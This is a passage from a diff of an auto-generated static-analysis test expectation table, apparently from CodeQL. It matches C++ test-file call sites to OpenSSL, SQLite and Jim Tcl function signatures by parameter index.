atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1079:14:1079:16 | Mid | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1079:14:1079:16 | Mid | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1079:14:1079:16 | Mid | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | BN_security_bits | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_MD_meth_new | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_PKEY_meth_new | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | acttab_alloc | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1079:14:1079:16 | Mid | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 0 | | atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 1 | @@ -250,6 +3588,31 @@ signatureMatches | atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 0 | | atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:1082:9:1082:15 | Replace | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_tag2str | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Jim_SignalId | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | PKCS12_init | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Symbol_Nth | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_tolower | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_toupper | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_errstr | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | tls13_alert_code | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CStringT | operator= | 0 | @@ -268,23 +3631,1733 @@ signatureMatches | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | | operator+= | 0 | | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (unsigned char *,int,unsigned long) | | UTF8_putc | 1 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 2 | +| bsd.cpp:12:5:12:10 | accept | (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 2 | +| bsd.cpp:12:5:12:10 | accept | (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 2 | +| bsd.cpp:12:5:12:10 | accept | (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 2 | +| bsd.cpp:12:5:12:10 | accept | (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 2 | +| bsd.cpp:12:5:12:10 | accept | (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,int,int *) | | ossl_dsa_check_params | 2 | +| bsd.cpp:12:5:12:10 | accept | (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 2 | +| bsd.cpp:12:5:12:10 | accept | (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 2 | +| bsd.cpp:12:5:12:10 | accept | (const char *,const OPT_PAIR *,int *) | | opt_pair | 2 | +| bsd.cpp:12:5:12:10 | accept | (const unsigned char **,unsigned int,int *) | | ossl_b2i | 2 | +| bsd.cpp:12:5:12:10 | accept | (int,const char **,int *) | | sqlite3_keyword_name | 2 | +| bsd.cpp:12:5:12:10 | accept | (int,int,int *) | | ssl_set_version_bound | 2 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_STRING_type_new | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_tag2bit | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_tag2str | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | EVP_PKEY_asn1_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Jim_ReturnCode | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Jim_SignalId | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2ln | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2obj | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2sn | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OSSL_STORE_INFO_type_string | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OSSL_trace_get_category_name | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | PKCS12_init | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Symbol_Nth | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_PURPOSE_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_PURPOSE_get_by_id | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_TRUST_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_TRUST_get_by_id | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | evp_pkey_type2name | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_cmp_bodytype_to_string | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_tolower | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_toupper | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_compileoption_get | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_errstr | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | tls13_alert_code | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_clear_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_mask_bits | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_set_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | bn_expand2 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | bn_wexpand | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | 